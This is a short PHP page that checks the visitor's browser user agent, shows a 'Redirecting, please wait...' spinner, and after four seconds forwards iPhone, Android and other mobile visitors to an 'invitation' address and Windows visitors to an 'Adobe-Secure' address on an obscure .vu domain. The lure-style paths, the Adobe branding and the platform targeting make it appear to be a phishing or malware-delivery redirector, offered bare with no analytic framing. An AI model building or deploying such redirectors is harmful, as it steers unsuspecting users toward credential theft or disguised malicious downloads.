<?php
$mobileUrl  = "https://lqvrido.vu/invitation";
$iosUrl     = "https://lqvrido.vu/invitation";
$windowsUrl = "https://lqvrido.vu/Adobe-Secure";

$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$redirectUrl = $mobileUrl;

if (strpos($userAgent, 'iphone') !== false || strpos($userAgent, 'ipad') !== false || strpos($userAgent, 'ipod') !== false) {
    $redirectUrl = $iosUrl;
} elseif (strpos($userAgent, 'windows') !== false) {
    $redirectUrl = $windowsUrl;
} elseif (strpos($userAgent, 'android') !== false || strpos($userAgent, 'mobile') !== false) {
    $redirectUrl = $mobileUrl;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redirecting...</title>
    <meta http-equiv="refresh" content="4;url=<?php echo htmlspecialchars($redirectUrl, ENT_QUOTES, 'UTF-8'); ?>">
    <style>
        body {
            margin: 0;
            height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background: #111;
            font-family: Arial, sans-serif;
            color: #fff;
        }

        .wrap {
            text-align: center;
        }

        .loader {
            width: 48px;
            height: 48px;
            border: 4px solid rgba(255,255,255,0.2);
            border-top: 4px solid #fff;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin: 0 auto 16px;
        }

        p {
            margin: 0;
            font-size: 16px;
            opacity: 0.9;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
    <script>
        setTimeout(function () {
            window.location.href = <?php echo json_encode($redirectUrl); ?>;
        }, 4000);
    </script>
</head>
<body>
    <div class="wrap">
        <div class="loader"></div>
        <p>Redirecting, please wait...</p>
    </div>
</body>
</html>
